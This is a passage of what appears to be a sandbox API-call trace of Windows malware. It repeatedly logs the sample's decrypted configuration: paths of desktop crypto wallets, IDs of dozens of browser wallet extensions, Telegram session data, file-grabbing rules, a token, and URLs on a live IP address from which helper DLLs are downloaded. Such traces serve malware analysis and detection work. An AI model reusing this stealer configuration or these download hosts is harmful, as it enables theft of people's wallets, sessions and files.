Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.246] StrStrW (lpFirst="Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.246] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.246] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6ef5a0 [0266.247] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.247] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f1ee8 [0266.247] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension 